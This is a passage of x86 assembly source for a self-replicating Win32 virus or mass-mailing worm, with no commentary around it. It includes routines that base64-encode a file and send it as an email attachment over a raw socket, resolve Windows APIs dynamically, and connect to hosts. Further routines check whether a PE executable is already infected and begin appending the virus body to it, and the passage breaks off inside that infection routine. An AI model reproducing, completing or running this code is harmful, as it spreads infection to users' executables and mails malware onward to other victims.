push    edx
    push    ecx    

    ; read 3 bytes
    push    0
    pushptr dwNumberOfBytes
    push    3
    pushptr threeBytes
    pushval hFile
    ApiCall ReadFile   
   
    ; base64 encode the three bytes
    mov     ecx, 3
    lea     esi, [ebp+threeBytes]
    lea     edi, [ebp+fourBytes]
    call    Base64Encode

    ; send the four base64 encoded bytes
    push    0
    push    4
    pushptr fourBytes
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread    

    pop     ecx
    pop     edx
    loop    sendAttachment    

    ; get the remaining bytes
    push    edx
    push    0
    pushptr dwNumberOfBytes
    push    edx
    pushptr threeBytes
    pushval hFile
    ApiCall ReadFile
    pop     edx

    ; base64 encode the remaining bytes
    push    edx
    mov     ecx, edx
    lea     esi, [ebp+threeBytes]
    lea     edi, [ebp+fourBytes]
    call    Base64Encode       
    pop     edx

    ; send the remaining bytes
    push    0
    push    4
    pushptr fourBytes
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread        

;-------------------------------------------------------------------------------------------------;
; send the final part of the email message.                                                       ;
;-------------------------------------------------------------------------------------------------;

    ; send the last part of the email message
    pushptr szEmailPart17
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szEmailPart17
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread    

    ; recieve the server response
    push    0
    push    256      
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

;-------------------------------------------------------------------------------------------------;
; Clean up
;-------------------------------------------------------------------------------------------------;

    ; free the webpage buffer
    pushptr lpWebpage
    ApiCall GlobalFree

    ; free the email message buffer
    pushptr lpEmailMessage
    ApiCall GlobalFree

    ; close wininet
    pushval hInternet
    ApiCall InternetCloseHandle  

    ; close winsock
    ApiCall WSACleanup 
        
;-------------------------------------------------------------------------------------------------;
; Exit thread.                                                                                    ;
;-------------------------------------------------------------------------------------------------;

exitThread:  

    ; set the thread status
    mov     [ebp+dwThreadStatus], EXIT_THREAD
   
    ; exit the thread
    ApiCall GetCurrentThread
    
    lea     ebx, [ebp+dwExitCode]    
    push    ebx
    push    eax
    ApiCall GetExitCodeThread
       
    pushval dwExitCode
    ApiCall ExitThread              

;-------------------------------------------------------------------------------------------------;
; Function(s)                                                                                     ;
;-------------------------------------------------------------------------------------------------;

Base64Encode    PROC
    ;
    ; Description:
    ;   Base64 encodes a group of bytes.
    ;
    ; Parameters:
    ;   ecx = Number of bytes to encode.
    ;   esi = pointer to a buffer that needs encoding.
    ;   edi = pointer to a buffer that will recieve the encoded data.
    ;
    ; Return Values:
    ;   None.
    ;
    cmp     ecx, 3
    jl      @@pad                                  ; no groups of 3 to convert?
    xor     edx, edx
    mov     eax, ecx
    mov     ebx, 3
    div     ebx                                    ; edx = number of padded bytes
    mov     ecx, eax    
@@base64:                                          ; encode groups of 3 bytes to base64
    lodsd
    dec     esi
    bswap   eax
    push    ecx
    mov     ecx, 4
@@encode3:
    rol     eax, 6
    push    eax        
    and     eax, 3fh
    mov     al, [ebp+@@charset+eax]                ; get the base64 character
    stosb
    pop     eax 
    loop    @@encode3    
    pop     ecx
    loop    @@base64
    mov     ecx, edx
    cmp     edx, 3
    jg      @@return
@@pad:                                             ; pad any additional bytes
    inc     ecx
    mov     dword ptr [edi], '===='
    mov     eax, [esi]
    bswap   eax
@@l1: 
    rol     eax, 6
    push    eax
    and     eax, 3fh
    mov     al, [ebp+@@charset+eax]
    stosb
    pop     eax
    loop    @@l1     
@@return:
    ret
@@charset   DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', 0
Base64Encode    ENDP
        
SetTimeOut  PROC   
    ;
    ; Description:
    ;   Sets the timeout duration for sending and recieving data.
    ;
    ; Parameters:
    ;   esi = socket handle.
    ;   edi = pointer to a DWORD.
    ;   eax = timeout duration.
    ;
    ; Return Values:
    ;   None.
    ;

    ; set the timeout duration
    mov      [edi], eax
  
    ; set the timeout for recieving data 
    push     4
    push     edi
    push     SO_RCVTIMEO
    push     SOL_SOCKET
    push     esi
    ApiCall  setsockopt
  
    ; set the timeout for sending data
    push     4
    push     edi
    push     SO_SNDTIMEO
    push     SOL_SOCKET
    push     esi
    ApiCall  setsockopt
  
    ret
SetTimeOut  ENDP

LoadImports     PROC
    ;
    ; Description:
    ;   Loads a series a dll's and the addresses of the specified functions.
    ;
    ; Parameters:
    ;   eax = pointer to an import table.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails 
    ;   the return value is -1.
    ;
    mov     edi, eax
@@loadLibrary:
    push    edi
    ApiCall LoadLibraryA                           ; load the dll
    cmp     eax, 0
    je      apiLoadError
    mov     esi, eax
    xor     al, al
    mov     ecx, 100
    repne   scasb                                  ; find the dll pointer
@@loadFunctions:    
    push    edi
    push    esi
    ApiCall GetProcAddress                         ; get function address
    cmp     eax, 0
    je      apiLoadError   
    mov     ebx, eax                    
    xor     al, al
    mov     ecx, 100
    repne   scasb                                  ; find function pointer    
    mov     [edi], ebx                             ; save the function address
    add     edi, 4
    cmp     byte ptr [edi], 0                      ; end of function list?
    jne     @@loadFunctions
    inc     edi
    cmp     byte ptr [edi], '$'                    ; end of import list?
    jne     @@loadLibrary
    xor     eax, eax
    ret
@@apiLoadError:
    mov     eax, -1
    ret
LoadImports     ENDP

ConnectToHost   PROC
    ;
    ; Description:
    ;   Connects to a host.
    ;
    ; Parameters:
    ;   eax = port.
    ;   esi = pointer to a zero terminated host name.
    ;
    ; Return Values:
    ;   If the function is successful the return value is the socket handle. If the function fails 
    ;   the return value is -1.
    ;

    ; fill the SOCK_ADDRESS structure
    mov     [ebp+sockAddress.sin_family], AF_INET
    push    eax   
    ApiCall htons
    mov     [ebp+sockAddress.sin_port], ax
    push    esi
    ApiCall gethostbyname
    cmp     eax, 0
    je      @@connectionFailed
    mov     eax, [eax+12]        
    mov     eax, [eax]
    mov     eax, [eax]
    mov     [ebp+sockAddress.sin_addr], eax

    ; Create a socket 
    push    PCL_NONE            
    push    SOCK_STREAM                 
    push    AF_INET          
    ApiCall socket
    mov     esi, eax
    cmp     eax, -1
    je      @@connectionFailed      

    ; connect to host
    push    16
    pushptr sockAddress
    push    esi
    ApiCall connect
    cmp     eax, 0
    jne     @@connectionFailed
    mov     eax, esi
    ret

@@connectionFailed:
    mov     eax, -1
    ret
ConnectToHost   ENDP       

IsValid     PROC
    ;
    ; Description:
    ;   Checks to see if the file is a valid win32 exe and is not already infected.
    ;
    ; Parameters:
    ;   esi = Pointer to filename.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails the return
    ;   value is -1.
    ;

    ; open the file
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SHARE_WRITE OR FILE_SHARE_READ
    push    GENERIC_WRITE OR GENERIC_READ
    push    esi
    ApiCall CreateFileA
    cmp     eax, -1
    je      @@notValid 
    mov     [ebp+hFile], eax

    ; read the DOS header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size DOS_HEADER
    pushptr dosHeader
    pushval hFile
    ApiCall ReadFile   
    cmp     word ptr [ebp+dosHeader.wSignature], 'ZM'
    jne     @@notValid

    ; seek to the PE header
    push    FILE_BEGIN
    push    0
    pushval dosHeader.lpPEHeader
    pushval hFile
    ApiCall SetFilePointer         

    ; read the PE header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size PE_HEADER
    pushptr peHeader
    pushval hFile
    ApiCall ReadFile                
    
    ; is it a win32 exe file?
    cmp     word ptr [ebp+peHeader.dwSignature], 'EP' 
    jne     @@notValid

    ; calculate the location of the last section header
    xor     edx, edx
    xor     eax, eax
    mov     ax, [ebp+peHeader.wNumberOfSections]
    dec     eax
    mov     ebx, size SECTION_HEADER
    mul     ebx
    add     eax, [ebp+dosHeader.lpPEHeader]
    add     eax, size PE_HEADER
    mov     [ebp+lpLastSectionHeader], eax

    ; seek to the last section header
    push    FILE_BEGIN
    push    0
    pushval lpLastSectionHeader
    pushval hFile
    ApiCall SetFilePointer             
    
    ; read the last section header into memory
    push    0
    pushptr dwNumberOfBytes
    push    size SECTION_HEADER
    pushptr sectionHeader
    pushval hFile
    ApiCall ReadFile               

    ; code already attached?
    cmp     dword ptr [ebp+sectionHeader.dwCharacteristics], SECTION_RWE
    je      @@notValid
    
@@isValid:
    pushval hFile
    ApiCall CloseHandle    
    xor     eax, eax
    ret        
    
@@notValid:
    pushval hFile
    ApiCall CloseHandle
    mov     eax, -1
    ret
 
IsValid     ENDP

AttachCode  PROC
    ;
    ; Description:
    ;   Infects a win32 exe with this program.
    ;
    ; Parameters:
    ;   esi = Pointer to filename.
    ;
    ; Return Values:
    ;   If the function is successful the return value is 0. If the function fails the return
    ;   value is -1.
    ;
    
    ; save the return address for this instance    
    push    [ebp+lpReturnAddress]

    ; open the file
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SH